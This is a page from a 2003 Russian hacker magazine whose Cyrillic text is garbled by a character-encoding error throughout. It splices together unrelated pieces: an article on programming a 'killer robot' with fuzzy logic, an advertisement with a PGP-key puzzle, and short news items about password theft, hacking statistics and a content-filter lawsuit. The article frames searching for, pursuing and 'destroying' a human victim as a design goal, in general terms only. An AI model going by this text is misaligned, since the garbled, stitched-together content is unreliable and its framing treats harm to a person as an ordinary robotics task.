â çàâèñèìîñòè îò çàäà÷è.<br />
Ðèñ.1. Ñòàíäàðòíûå ôóíêöèè ïðèíàäëåæíîñòè<br />
 ýòèõ ôóíêöèÿõ ìíîæåñòâî çíà÷åíèé, ïðè êîòîðûõ F=1, õàðàêòåðèçóþò<br />
ïîëíóþ ïðèíàäëåæíîñòü, à ïðè F=0 ïîëíóþ<br />
íåïðèíàäëåæíîñòü, ñîîòâåòñòâåííî çíà÷åíèÿ, ëåæàùèå ìåæäó<br />
[0;1] õàðàêòåðèçóþò íå÷åòêóþ ïðèíàäëåæíîñòü («0» è «1»<br />
ÿâëÿþòñÿ ýêñòðåìàëüíûìè çíà÷åíèÿìè). Ìîæíî òàêæå (à â<br />
íåêîòîðûõ ñëó÷àÿõ äàæå æåëàòåëüíî) ïîäáèðàòü ñîáñòâåííóþ,<br />
áîëåå ïîäõîäÿùóþ ôîðìó ôóíêöèè ïðèíàäëåæíîñòè.<br />
Ïîñòðîèì ôóíêöèþ ïðèíàäëåæíîñòè äëÿ òåðìà Î×ÅÍÜ<br />
ÁËÈÇÊÎ. Áóäåì ðàññóæäàòü. Ðàññòîÿíèå â 1 ìåòð äî ïîìåõè<br />
ìîæíî ñ÷èòàòü òî÷íî ïðèíàäëåæàùèì òåðìó Î×ÅÍÜ ÁËÈÇ-<br />
ÊÎ, ñëåäîâàòåëüíî, âñå çíà÷åíèÿ ðàññòîÿíèé îò 0 äî 1 ìåòðà<br />
ïðèìåì ñ ïðèíàäëåæíîñòüþ «1» (ïîëíàÿ ïðèíàäëåæíîñòü).<br />
Ðàññòîÿíèå ñâûøå 2 ìåòðîâ òî÷íî íåëüçÿ ñ÷èòàòü<br />
ïðèíàäëåæàùèì òåðìó Î×ÅÍÜ ÁËÈÇÊÎ, ò.å. âñå çíà÷åíèÿ<br />
ðàññòîÿíèé ñâûøå 2 ìåòðîâ ïðèìåì ïîëíîñòüþ íå ïðèíàäëåæàùèìè<br />
äàííîìó òåðìó (ïðèíàäëåæíîñòü «0»). Ñîîòâåòñòâåííî<br />
çíà÷åíèÿ, ëåæàùèå ìåæäó 1 è 2 ìåòðàìè, ÿâëÿþòñÿ<br />
íå÷åòêèìè (âðîäå êàê è î÷åíü áëèçêî, íî è íå ñîâñåì î÷åíü<br />
áëèçêî). Íàèáîëåå ïîäõîäÿùåé äëÿ íàøèõ ðàññóæäåíèé ÿâëÿåòñÿ<br />
ñòàíäàðòíàÿ ôóíêöèÿ ïðèíàäëåæíîñòè Z. Ïðîäîëæàÿ<br />
ïîäîáíûå ðàññóæäåíèÿ, ìû ñ òîáîé ïîñòðîèì ôóíêöèè ïðèíàäëåæíîñòè<br />
äëÿ âñåõ òåðìîâ ëèíãâèñòè÷åñêîé ïåðåìåííîé<br />
ÄÈÑÒÀÍÖÈß. Ðàçìåñòèì âñå ïîëó÷åííûå ôóíêöèè íà îäíîì<br />
ãðàôèêå (Ðèñ.2). Òåðìû ÁËÈÇÊÎ è ÑÐÅÄÍßß ïðåäñòàâëåíû<br />
Ï-ôóíêöèÿìè, à òåðì ÄÀËÅÊÎ S-ôóíêöèåé.<br />
Òåïåðü ðàññìîòðèì ëèíãâèñòè÷åñêóþ ïåðåìåííóþ ÍÀÏ-<br />
ÐÀÂËÅÍÈÅ. Ò.ê. óãîë îáçîðà ó íàøåãî ðîáîòà àíàëîãè÷åí<br />
÷åëîâåêó, ïðèìåì åãî ðàâíûì 180 ãðàäóñîâ<br />
(ñ ó÷åòîì áîêîâîãî çðåíèÿ). Äëÿ óäîáñòâà áó-<br />
Õî÷åøü ïîëó÷èòü ïðèç îò ôèðìû Defender Ïîïðîáóé ðàçãàäàòü ãîëîâîëîìêó.<br />
Ýòîò PGP-êëþ÷ ñîñòîÿùèé èç ñåìè ñòðîê îáëàäàåò òðåìÿ óäèâèòåëüíûìè îñîáåííîñòÿìè, ïîïðîáóé èõ âñå íàéòè:<br />
1. Â êàêîé ñòðîêå ñòîÿò ïîäðÿä äåñÿòü A<br />
2. Â êàêîé ñòðîêå ìîæíî íàéòè íèê îäíîãî èç ðåäàêòîðîâ Õ<br />
3. Íàçâàíèå, êàêîé êîìïüþòåðíîé ôèðìû ìîæíî ïðî÷èòàòü â îáðàòíîì ïîðÿäêå â ÷åòâåðòîé ñòðîêå ñâåðõó<br />
Îòâåòû øëè íà magazine@real.xakep.ru.<br />
www.defender.ru<br />
àêóñòè÷åñêàÿ ñèòåìà<br />
Defender Mercury 50<br />
-----BEGIN PGP PUBLIC KEY BLOCK-----<br />
Version: 2.6.3i<br />
mQENAzxFtv4AAAEIAO0nbVhZ+xUUCsHztSt0qH4jmVyCrTZR/JwO7hp68ct2H3B/<br />
sy3FEd4UrUk6rtkWTMJminE/koGOl+uYyrHmN2K/AdVYkLRXCuTTerlWamFXrrH6dby<br />
znWDaYIerLqYGA8KqhxJ1BKE+WIFouLQ9gogOxaghwGIfup/Tewov9umaMQgFjje<br />
0lPzrATCmWEGw+hL20lRaiX3W3iegPL3sqBREdnEFeDJjgjmVhv6zVofNbcbfU0iEFEDA<br />
GkjwTvvS3udinTqKb65KJmALv3QwBlUdT8dtENAJO/uCU2cKyApihQlzeeduEOvYx<br />
KImKVwxlOFCDbTC/Jjzga/Q8vmw7TTL7ANk2Q7UABRG0A3ImZIkBFQMFEDxFtv5N<br />
MvsA2TZDtQEBxl8H/jIdm51nkWfaxfe5VYbAffPOGixBpYl+Oj+Pn8zM9XlpXTa6<br />
-----END PGP PUBLIC KEY BLOCK-----<br />
֏!<br />
Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />
ìèíè-ìûøü DEFENDER<br />
1450 UP PS/2+USB<br />
Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />
ìûøü DEFENDER 1480
Implant<br />
ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ ÐÎÁÎÒÀ-ÓÁÈÉÖÓ<br />
Èâàí Ñêëÿðîâ<br />
Sklyarov@real.xakep.ru<br />
Ðèñ.2. Ôóíêöèè ïðèíàäëåæíîñòè äëÿ òåðìîâ<br />
ëèíãâèñòè÷åñêîé ïåðåìåííîé ÄÈÑÒÀÍÖÈß<br />
Äëÿ óäîáñòâà ñîñòàâèì òàáëèöó, â êîòîðîé áóäóò îòðàæåíû<br />
âñå íàøè ïðàâèëà (ñì. ðèñ.4). Íàø ðîáîò áóäåò<br />
äåéñòâîâàòü íà îñíîâå íå÷åòêèõ ïðàâèë, ïðåäñòàâëåííûõ<br />
â òàáëèöå.<br />
Ïîñëå ïðèìåíåíèÿ íå÷åòêèõ ïðàâèë ìû äîëæíû ñäåëàòü<br />
çàêëþ÷èòåëüíûé ëîãè÷åñêèé âûâîä. Äëÿ ýòîãî èñïîëüçóþòñÿ<br />
îïåðàòîðû MIN() èëè MAX(). ßñíî, ÷òî ïåðâûé âû-<br />
÷èñëÿåò ìèíèìàëüíûå çíà÷åíèÿ, à âòîðîé ìàêñèìàëüíûå.<br />
Êàêîé èç íèõ ïðèìåíÿòü, çàâèñèò îò òîãî, êàêîé ëîãè÷åñêîé<br />
ñâÿçêîé îáúåäèíåíû ïåðåìåííûå â ïðàâèëå. Åñëè<br />
ñâÿçêîé È, ïðèìåíÿåòñÿ îïåðàòîð MIN(), åñëè ñâÿçêîé<br />
ÈËÈ — MAX(). Íó à åñëè â ïðàâèëå âñåãî îäíà âõîäíàÿ<br />
ïåðåìåííàÿ, òî îïåðàòîðû âîâñå íå íóæíû.<br />
Äîïóñòèì, â íàøåì ïðèìåðå òåðì ÁËÈÇÊÎ ëèíãâèñòè÷åñêîé<br />
ïåðåìåííîé ÄÈÑÒÀÍÖÈß èìååò ñòåïåíü ïðèíàäëåæíîñòè<br />
0,7, à òåðì ËÅÂÎÅ ïåðåìåííîé ÍÀÏÐÀÂËÅÍÈÅ — 0,4.<br />
Ò.ê. èñïîëüçîâàíà ñâÿçêà È, òî ïðèìåíèì îïåðàòîð MIN():<br />
MIN(0,7;0,4) = 0,4<br />
Ñëåäîâàòåëüíî, ñòåïåíü ïðèíàäëåæíîñòè òåðìà ÐÅÇÊÎ<br />
ÂÏÐÀÂÎ ëèíãâèñòè÷åñêîé ïåðåìåííîé ÐÓËÅÂÎÉ ÓÃÎË áóäåò<br />
ðàâíà 0,4. Íî ýòî åùå íå âñå. Ïðåäñòàâèì, íàïðèìåð,<br />
÷òî ðàññòîÿíèå â 1,8 ì äëÿ òåðìà ÁËÈÇÊÎ îêàæåòñÿ ðàâíî<br />
ñòåïåíè ïðèíàäëåæíîñòè 0,7, à òî æå ñàìîå ðàññòîÿíèå<br />
äëÿ òåðìà Î×ÅÍÜ ÁËÈÇÊÎ – 0,3, êàê ýòî ïîêàçàíî íà<br />
ðèñ.2 êðàñíûìè ïóíêòèðíûìè ëèíèÿìè. Àíàëîãè÷íî äëÿ<br />
ïåðåìåííîé ÍÀÏÐÀÂËÅÍÈÅ óãîë â 18 ãðàäóñîâ äëÿ òåðìà<br />
ËÅÂÎÅ ìîæåò èìåòü ñòåïåíü ïðèíàäëåæíîñòè 0,6, à äëÿ<br />
òåðìà ÏÐßÌÎ — 0,4. Ò.å. âïîëíå ìîãóò èìåòü íå íóëåâîé<br />
âûõîäíîé ðåçóëüòàò ñðàçó íåñêîëüêî íå÷åòêèõ ïðàâèë. Íî<br />
íàì íåîáõîäèìî ïîëó÷èòü òîëüêî îäíî çíà÷åíèå! Êàêîå èç<br />
íèõ ñ÷èòàòü ïðàâèëüíûì Äëÿ ýòîãî ìû äîëæíû ïðèìåíèòü<br />
îïåðàòîð MIN()/MAX() äëÿ êàæäîãî ðàçðàáîòàííîãî<br />
íàìè ïðàâèëà, à èç âñåõ ïîëó÷åííûõ çíà÷åíèé âûáðàòü<br />
ìàêñèìàëüíîå. Â ðåçóëüòàòå âñåõ ýòèõ äåéñòâèé ìû ïîëó-<br />
÷èì îäíî-åäèíñòâåííîå íå÷åòêîå çíà÷åíèå óïðàâëÿþùåé<br />
ïåðåìåííîé, êîòîðîå íåîáõîäèìî ïðèâåñòè ê ÷åòêîìó<br />
çíà÷åíèþ, ò.å. ïåðåõîäèì ê ýòàïó äåôàççèôèêàöèè.<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÁËÎÊ ÏÎÈÑÊÀ ÆÅÐÒÂÛ & ÁËÎÊ ÏÐÅÑ-<br />
ËÅÄÎÂÀÍÈß È ÓÍÈ×ÒÎÆÅÍÈß ÆÅÐÒÂÛ<br />
Çà íåèìåíèåì ìåñòà ìû íå áóäåì ðàçáèðàòü ýòè áëîêè â<br />
äåòàëÿõ. Îáñóäèì ïîâåðõíîñòíî âòîðîé áëîê — áëîê ïîèñêà<br />
æåðòâû. Íóæíî ñðàçó èñõîäèòü èç ïðåäïîëîæåíèÿ,<br />
÷òî ïîèñê æåðòâû ïðîèñõîäèò â íåáîëüøîì, îãðàíè÷åííîì<br />
ïðîñòðàíñòâå. Äåéñòâèòåëüíî, êèëëåð íå èùåò æåðòâó<br />
ãäå íè ïîïàäÿ, îí ÷åòêî çíàåò, ãäå òà äîëæíà ïîÿâèòüñÿ,<br />
è óæå âûñëåæèâàåò åå â îïðåäåëåííîì ìåñòå. Óñëîâíî<br />
áóäåì ñ÷èòàòü, ÷òî ýòî ìóçåé ñ ìíîæåñòâîì êîìíàò è<br />
ïåðåìåùàþùèõñÿ îáúåêòîâ (ëþäåé). Òàêæå áóäåì ñ÷èòàòü,<br />
÷òî íàø ðîáîò íå ñíàéïåð, ò.å. äëÿ âûïîëíåíèÿ çàäàíèÿ<br />
åìó íåîáõîäèìî äîñòàòî÷íî áëèçêî (âïëîòíóþ) ïîäîéòè<br />
ê æåðòâå. Ïîèñê æåðòâû ìîæíî ðåàëèçîâàòü ïîðàçíîìó.<br />
Ïðîñòåéøèé ñïîñîá - ýòî ïàòðóëèðîâàíèå ðîáîòîì<br />
êîìíàò ñ ïåðèîäè÷åñêîé ñìåíîé ïîçèöèé è ïðîñìîòðîì<br />
îêðóæàþùåé îáñòàíîâêè. Ò.å. ðîáîò ñîâåðøàåò<br />
ïîëíûé îáîðîò âîêðóã ñâîåé îñè, ïðè ýòîì ñðàâíèâàÿ<br />
ëþáîé îáúåêò (÷åëîâåêà) ñ «ýòàëîíîì» (æåðòâîé), åñëè<br />
öåëü íå îáíàðóæåíà, äåëàåò íåêîòîðîå êîëè÷åñòâî øàãîâ<br />
âïåðåä è ñíîâà ñîâåðøàåò ïîëíûé îáîðîò, è òàê äî òåõ<br />
ïîð, ïîêà æåðòâà íå ïîÿâèòñÿ â åãî ïîëå çðåíèÿ. Äëÿ<br />
ïîëíîãî îáîðîòà (360 ãðàäóñîâ) ðîáîòó äîñòàòî÷íî ñîâåðøèòü<br />
âñåãî äâà ïîâîðîòà âîêðóã ñâîåé îñè (íàïîìíþ,<br />
îáçîð «ãëàç» ðàâåí 180 ãðàäóñîâ!). Êñòàòè, ýòîò ñïîñîá<br />
ëåãêî ðåàëèçîâàòü, íå ïðèáåãàÿ ê íå÷åòêîé ëîãèêå. Êàê<br />
òîëüêî æåðòâà ïîÿâèòñÿ â ïîëå çðåíèÿ, âêëþ÷àåòñÿ áëîê<br />
ÏÐÅÑËÅÄÎÂÀÍÈß È ÓÍÈ×ÒÎÆÅÍÈß ÆÅÐÒÂÛ. Ò.å. ðîáîò<br />
íà÷èíàåò äâèãàòüñÿ ïðÿìî íà öåëü. Íå èñêëþ÷åíî, ÷òî<br />
æåðòâà íà÷íåò «óáåãàòü» îò ïðåñëåäîâàíèÿ, ïîýòîìó ðîáîò<br />
äîëæåí êîððåêòèðîâàòü ñâîå íàïðàâëåíèå òàêèì îáðàçîì,<br />
÷òîáû öåëü âñåãäà íàõîäèëàñü ïðÿìî ïî êóðñó.<br />
Íåëüçÿ òàêæå èñêëþ÷àòü ñèòóàöèè, êîãäà îáúåêò ñîâñåì<br />
ïðîïàäåò èç ïîëÿ çðåíèÿ (íàïðèìåð, çàéäåò çà óãîë), òîãäà<br />
ðîáîò äîëæåí äîéòè äî òîãî ìåñòà, ãäå áûëà ïîòåðÿíà<br />
öåëü, è âêëþ÷èòü áëîê ïîèñêà æåðòâû. Áëîê ïðåñëåäîâàíèÿ<br />
è óíè÷òîæåíèÿ æåðòâû, åñòåñòâåííî, íóæíî ïðîãðàììèðîâàòü<br />
ñ ïîìîùüþ íå÷åòêîé ëîãèêè.<br />
Ðèñ.3. Îáçîð «ãëàç» ðîáîòà<br />
äåì ñ÷èòàòü, ÷òî óãîë â 0 ãðàäóñîâ ëåæèò ïî ïðîäîëüíîé<br />
îñè íàïðàâëåíèÿ äâèæåíèÿ ðîáîòà, òîãäà ðàñïîëîæåíèå<br />
ïîìåõè ñ ïðàâîé ñòîðîíû îò îñè áóäåò ñîîòâåòñòâîâàòü<br />
ïîëîæèòåëüíîìó óãëó (îò 0 äî 90 ãðàäóñîâ), à ñ ëåâîé —<br />
îòðèöàòåëüíîìó (îò 0 äî -90 ãðàäóñîâ), ñì. ðèñ.3<br />
Òàêèì îáðàçîì, óãîë ìåæäó íàïðàâëåíèåì äâèæåíèÿ ðîáîòà<br />
è ïîìåõîé îò 0 äî 30 ãðàäóñîâ è îò 0 äî -30 ãðàäóñîâ,<br />
ìîæíî îòíåñòè ê òåðìó ÏÐßÌÎ, à óãîë îò 20 äî 90<br />
ãðàäóñîâ - ê òåðìó ÏÐÀÂÎÅ. Àíàëîãè÷íî óãîë îò -20 äî -<br />
90 ãðàäóñîâ - ê òåðìó ËÅÂÎÅ. ß íå áóäó ñòðîèòü ôóíêöèè<br />
ïðèíàäëåæíîñòè äëÿ äàííûõ òåðìîâ, ò.ê. äóìàþ, òåáå<br />
ñåé÷àñ ýòî íå ñîñòàâèò îñîáîãî òðóäà, òàêæå ÿ íå áóäó<br />
îïðåäåëÿòü ñòåïåíè ïðèíàäëåæíîñòè äëÿ òåðìîâ ïåðåìåííîé<br />
ÐÓËÅÂÎÉ ÓÃÎË, ñ íèìè âñå àíàëîãè÷íî.<br />
Ðàçðàáîòêó ýòàïà ôàççèôèêàöèè íà ýòîì ìîæíî ñ÷èòàòü<br />
çàêîí÷åííîé, ïåðåõîäèì ê îáðàáîòêå.<br />
Îáðàáîòêà<br />
Îáðàáîòêà îñíîâàíà íà ðàáîòå íå÷åòêèõ ïðàâèë, ïîýòîìó<br />
ìû äîëæíû ðàçðàáîòàòü ýòè ñàìûå ïðàâèëà. Íå÷åòêèå<br />
ïðàâèëà ïðåäñòàâëÿþò ñîáîé îáû÷íûå îïåðàòîðû óñëîâèé<br />
if... then... (ÅÑËÈ... ÒÎÃÄÀ...), ñ âîçìîæíîñòüþ ïðèìåíåíèÿ<br />
ëîãè÷åñêèõ ñâÿçîê AND(È), OR(ÈËÈ) èëè<br />
NOT(ÍÅ). Íàïðèìåð:<br />
ÅÑËÈ ÄÈÑÒÀÍÖÈß=áëèçêî È ÍÀÏÐÀÂËÅÍÈÅ=ëåâîå ÒÎÃ-<br />
ÄÀ ÐÓËÅÂÎÉ ÓÃÎË=ðåçêî âïðàâî.<br />
Ðèñ.5. Äåôàççèôèêàöèÿ<br />
Äåôàççèôèêàöèÿ<br />
Ïîëó÷èòü ÷åòêîå çíà÷åíèå íå òàê-òî ïðîñòî, êàê êàæåòñÿ.<br />
Äîïóñòèì, ôóíêöèÿ ïðèíàäëåæíîñòè äëÿ òåðìà ÐÅÇÊÎ<br />
ÂÏÐÀÂÎ ëèíãâèñòè÷åñêîé ïåðåìåííîé ÐÓËÅÂÎÉ ÓÃÎË<br />
èìååò Ë-âèä (ñì. ðèñ.5).<br />
Ðèñ.4. Òàáëèöà íå÷åòêèõ ïðàâèë<br />
Ìû â ðåçóëüòàòå îáðàáîòêè ïîëó÷èëè, íàïðèìåð, çíà÷åíèå<br />
0,7. Íà ðèñóíêå ïîêàçàíî, ÷òî ÷åòêîå çíà÷åíèå ìîæåò<br />
áûòü ëþáûì èç äèàïàçîíà 60-90 ãðàäóñîâ (îñíîâàíèå<br />
çàøòðèõîâàííîé ôèãóðû). Êàêîå ñ÷èòàòü ïðàâèëüíûì Íî<br />
ýòî åùå ïðîñòåéøèé ñëó÷àé, ò.ê. ÿ óæå ãîâîðèë, ÷òî âèä<br />
ôóíêöèè ïðèíàäëåæíîñòè ìîæåò áûòü ñîâåðøåííî ëþáîé.<br />
Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ ïî óñòðàíåíèþ íå-<br />
÷åòêîñòè. Íàïðèìåð, ìåòîä öåíòðà ìàêñèìóìà (áåðåòñÿ<br />
öåíòðàëüíîå çíà÷åíèå, êàê ïîêàçàíî íà ðèñóíêå), ìåòîä<br />
íàèáîëüøåãî çíà÷åíèÿ (âûáèðàåòñÿ íàèáîëüøåå èç ïîëó-<br />
÷åííûõ çíà÷åíèé), ìåòîä öåíòðîèäà (îêîí÷àòåëüíîå çíà-<br />
÷åíèå îïðåäåëÿåòñÿ êàê ïðîåêöèÿ öåíòðà òÿæåñòè çàøòðèõîâàííîé<br />
ôèãóðû) è ò.ä.<br />
Òàêèì îáðàçîì, ìû ïîëíîñòüþ îïèñàëè áëîê îáõîäà ïðåïÿòñòâèé,<br />
à òàêæå ðàññìîòðåëè, êàê ðåøàþòñÿ çàäà÷è ñ<br />
ïîìîùüþ íå÷åòêîé ëîãèêè.<br />
ÇÀÊËÞ×ÈÒÅËÜÍÛÉ ÝÒÀÏ<br />
Ïîñëå òîãî êàê ñèñòåìà ïîëíîñòüþ îïèñàíà, åå íóæíî îòëàæèâàòü<br />
è îïòèìèçèðîâàòü. Äëÿ ýòîãî ëó÷øå âñåãî èñïîëüçîâàòü<br />
ïðîãðàììíûé ñèìóëÿòîð ìîäåëè, êîòîðûé<br />
ïîçâîëèò íàáëþäàòü ïîâåäåíèå ðîáîòà è âíîñèòü ñîîòâåòñòâóþùèå<br />
êîððåêòèâû â îïèñàíèå. Òàêîé ñèìóëÿòîð íåñëîæíî<br />
íàïèñàòü ñàìîìó íà ëþáîì ÿçûêå ïðîãðàììèðîâàíèÿ.<br />
Ñóùåñòâóåò ìíîæåñòâî ñïåöèàëèçèðîâàííûõ CADñèñòåì,<br />
êîòîðûå ïîçâîëÿþò ïðîéòè âñå îñíîâíûå ýòàïû<br />
ðàçðàáîòêè íå÷åòêîé ñèñòåìû, íàïðèìåð, «fuzzy TECH»,<br />
«PCFuz», ïðèëîæåíèå Fuzzy ê ïàêåòó Matlab è ïð. Ïîñëå<br />
òîãî êàê ñèñòåìà áóäåò îòëàæåíà, ìîæíî ïåðåâîäèòü åå<br />
îïèñàíèå íà ÿçûê Ñè èëè àññåìáëåð è ïðîøèâàòü â ÏÇÓ<br />
(EEPROM, flash RAM), çàòåì ìîæíî ïðèñòóïàòü ê èñïûòàíèÿì<br />
ðåàëüíîé ìîäåëè.<br />
Âîò è âñå, ìîæåøü ñ÷èòàòü, ÷òî òû îâëàäåë ñàìîé ñîâðåìåííîé<br />
è ïðîäâèíóòîé òåõíîëîãèåé ïðîãðàììèðîâàíèÿ<br />
ñëîæíûõ ñèñòåì óïðàâëåíèÿ. Êñòàòè, íå÷åòêóþ ëîãèêó<br />
ìîæíî ïðèìåíÿòü äëÿ êîäèíãà áîòîâ â èãðàõ èëè<br />
äëÿ ñîçäàíèÿ áîëåå «èíòåëëåêòóàëüíûõ» ñèñòåì áåçîïàñíîñòè,<br />
òàêèõ êàê ôàåðâîëû, à òàêæå âèðóñîâ, ÷åðâåé<br />
è ïð. (íî ÿ òåáå ýòîãî íå ãîâîðèë ;)). Òàê<br />
÷òî, áóäóùåå óæå â òâîèõ ðóêàõ. Äåðçàé!<br />
Èñòî÷íèêè èíôîðìàöèè<br />
http://www.russianlaw.net/sci/FL/links.htm<br />
http://asu.ugatu.ac.ru/book/iis/iis.htm<br />
http://fuzzyfly.chat.ru<br />
http://fuzzy.kstu.ru<br />
http://pmg-ru.narod.ru/download/fuzzy.zip<br />
http://dushkin.boom.ru/<br />
http://www.robotwar3d.com/ :)<br />
50 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
][ NEWS<br />
mindw0rk<br />
Âçëîì<br />
ÕÀÊÅÐ\¹52\Ìàé\2003<br />
][ NEWS<br />
15 ÌÅÑßÖÅ ÇÀ ÕÀËßÂÍÛÉ ÈÍÅÒ<br />
"Æàäíîñòü ôðàåðà ïîãóáèò", - ýòó ôðàçó ÿ ìûñëåííî ïîâòîðÿþ âñåãäà, êîãäà çàëèâàþ<br />
â ñåáÿ ãàëëîíû âîäêè èëè ïðîèãðûâàþ ïîñëåäíèå ñåìåéíûå òðóñû â îäíîì<br />
èç ìåñòíûõ êàçèíî. Íå ïîìåøàëî áû ïîäîáíóþ ïðèâû÷êó çàâåñòè è Ñåðåãå<br />
Àôàíàñüåâó - òåõíàðþ èç Êàëóãè. Èíà÷å, ïîäè, íå ìîòàë áû ñåé÷àñ óñëîâíûé<br />
ñðîê, à íà 140 îòñóæåííûõ ðóáëåé ëó÷øå áû ïèâà âûïèë è ìåíÿ óãîñòèë. Òàê íåò<br />
æå, ñêà÷àë ñ èíåòà êóëõàêåðñêèé øàðî-ñêàíåð òèïà NbtScan, ñâèçäàíóë ó áåäíûõ<br />
þçâåðåé èõ áåñöåííûå ïàðîëè è ïîäñåë íà êðóãëîñóòî÷íûé àíëèì. Ñåðåæà ñèäèò,<br />
ïîðíóõó ñëèâàåò ãåêòàðàìè, à þçâåðè â êàìåíîëîìíÿõ öåìåíò êðîøàò, ÷òîáû<br />
îïëàòèòü õàöêåðó ñåòåâóþ ðàäîñòü. Íî, îòæàâ ìàéêè îò ïîòà, ÷àéíèêè âîñêëèêíóëè:<br />
"Êàêîãî ÷åðòà!" - è ðåøèòåëüíî íàñòó÷àëè â ìèëèöèþ. Ñåðåæó ïîâÿçàëè,<br />
îáâèíèëè, îñóäèëè è íàêàçàëè íà 15 ìåñÿöåâ óñëîâíî. È ïðàâèëüíî – íå<br />
ôèã, êîëü îòõàïàë, çàæèðàòüñÿ, ïî 25 ÷àñîâ â äåíü êðàäåíîå ýêñïëóàòèðîâàòü.<br />
ÕÀÊÈÍÃ ÐÀÑÒÅÒ È ÊÐÅÏÍÅÒ<br />
Êîëè÷åñòâî êîìïüþòåðíûõ âçëîìîâ ðàñòåò áûñòðåå, ÷åì äîõîäû Ìàéêðîñîôòà.<br />
Òîëüêî çà ïåðâûå òðè ìåñÿöà ýòîãî ãîäà äðóæíîå ñîîáùåñòâî êîìïüþòåðíûõ<br />
õóëèãàíîâ íàøêîäèëî 106,57 ìèëëèîíîâ ðàç. Ìîãåì, êîãäà çàõîòèì! :) Âîîáùå,<br />
öèôåðêà ïðåâûøàåò ïðîøëîãîäíèé ïîêàçàòåëü àæ â 10 ðàç. ß òóò ïîñ÷èòàë íà<br />
äîñóãå... Òàêèìè òåìïàìè ÷åðåç 10 ëåò íà êàæäîãî æèòåëÿ, âêëþ÷àÿ åùå íå ðîäèâøèõñÿ<br />
äåòåé è íàõîäÿùèõñÿ â äîëãîñðî÷íîé êîìå ïåíñèîíåðîâ, áóäåò ïðèõîäèòüñÿ<br />
ïðèìåðíî ïî 5 òûñÿ÷ âçëîìîâ â äåíü. Áèëë Ãåéòñ óçíàåò - çàñòðåëèòñÿ<br />
(îá ýòîì - íèæå). Èññëåäîâàíèå, êñòàòè, ïðîâåäåíî âåñüìà àâòîðèòåòíîé îðãàíèçàöèåé<br />
X-Force, åå øåô ïðîêîììåíòèðîâàë äîêëàä òàê: "Ñèÿ áàéäà îçíà÷àåò,<br />
÷òî ñåêóðèòè-ïèïëàì ïðèäåòñÿ ïàõàòü, ÷òî ýíåðäæàéçåðàì, äàáû çàùèòèòü<br />
íàøè çàäíèöû îò ïîñÿãàòåëüñòâà èçâíå". Ýýý.. íó, ìîæåò, íå òàêèìè òåðìèíàìè,<br />
íî ñìûñë òî÷íî òîò. Òàê ÷òî, åñëè òû ðåøèë âäðóã ïîäàòüñÿ â òå ñàìûå ïèïëû,<br />
ó òåáÿ åùå åñòü âðåìÿ îñòàâèòü ýòó àáñóðäíóþ çàòåþ è îñâîèòü áîëåå ñïîêîéíûé<br />
áèçíåñ. Ñòàòü ïî÷òàëüîíîì, íàïðèìåð.<br />
ØÀÉÁÓ, ÐÎÑÑÈß, ËÓÆÊΠ- ËÓ×ØÈÉ!<br />
ïðèçåðîâ. Ïóñòü äàæå â ñòîëü ñîìíèòåëüíîé íîìèíàöèè. Çíàêîìûì ñ<br />
èíãëèøåì êðàéíå ðåêîìåíäóþ ïðîñìîòðåòü è äðóãèå èñòîðèè èç ñåðèè<br />
"áåñïðåäåëû íàøåãî ìèðêà". Ïîëó÷èòå ìîðå óäîâîëüñòâèÿ, ãàðàíòèðóþ.<br />
ÍÅ ÕÂÀÒÈËÎ ÏÐÓÕÈ ÎÑÂÎÁÎÄÈÒÜ ÏÎÐÍÓÕÓ<br />
Æèâåò ñåáå â Àìåðèêå Áåí Ýäåëüìàí. Ó÷èòñÿ â Ãàðâàðäå, ïüåò "Ãèííåñ", èìååò<br />
ãèáêèé è ïûòëèâûé óì. È êàê-òî øóòêè ðàäè ðåøèë Áåí ðàçîáðàòü ïî êîñòî÷êàì<br />
ôèëüòð èíåò-êîíòåíòà íà ïðåäìåò óÿçâèìîñòåé. Ïîòîìó ÷òî õàêåðîì Áåí ñòàë ñ<br />
ñàìûõ ïåëåíîê. Íî õàêåð íàó÷íûé, íå êàêîé-òî òàì âàíäàë. Ñâÿçàëñÿ Áåí ñ êîìïàíèåé<br />
N2H2 - àâòîðàìè óòèëû, ïîïðîñèë èõ ïðåäîñòàâèòü åìó äëÿ ïðîâåäåíèÿ<br />
èññëåäîâàíèé ñïèñîê áëîêèðóåìûõ ñàéòîâ. Íî â êîíòîðå òîæå íå ëîõè ñèäÿò.<br />
«×òî æ òû íàñ ðàçâîäèøü, Áåí, - ãîâîðÿò, - íà õàëÿâêó ñàìûå ñëèâêè õî÷åøü Íå<br />
âèäàòü òåáå õàëÿâû, Áåí, ìû è ñàìè äî õàëÿâû ìàñòàêè». Îáèäåëñÿ Áåí è ïîîáåùàë<br />
çàõàêàòü ôèëüòð äî ñìåðòè, äèçàññåìáëèðîâàòü åãî äî ïîñëåäíåãî áèòà è<br />
âûäðàòü ñïèñîê ñàìîñòîÿòåëüíî. «Àõ, òàê» - ãðîçíî êðèêíóëè â N2H2 è ïîäàëè<br />
â ñóä, ãäå ïðåóñïåâàþùåìó ñòóäåíòó ïîãðîçèëè ïàëü÷èêîì.  çàùèòó Áåíà âñòàë<br />
Àìåðèêàíñêèé ñîþç ãðàæäàíñêèõ ñâîáîä, ïîäàë èñê è âîîáùå íàìåêíóë: "Îòâåòèòå!".<br />
Íî ñóäüè íà ðå÷è ïðîôñîþçà î ïðàâàõ è ñâîáîäàõ íå ïîâåëèñü è åùå<br />
ñòðîæå çàïðåòèëè Áåíó òðîãàòü ôèëüòðîâóþ óòëó. Òàêàÿ âîò èñòîðèÿ. À ìîðàëü -<br />
ìîðàëü åñòü, è îíà òàêîâà: "Íå ïåé "Ãèííåñ" - ïåé "Êëèíñêîå", íå æèâè â Àìåðèêå<br />
- æèâè â Ðîññèè. È òîãäà ñìîæåøü çàõàêàòü âóñìåðòü ÷åãî çàõîø".<br />
ÑÏÀÌÓ ÑÌÅÐÒÜ!<br />
Àìåðèêîñîâ íàñòîëüêî çàäîëáàëè ñïàìåðû, ÷òî ó íèõ óæå ïîëáþäæåòà ñòðàíû<br />
óõîäèò íà ïîèñê ñðåäñòâà äëÿ èçáàâëåíèÿ îò çàðàçû. Îäíèì èç î÷åðåäíûõ<br />
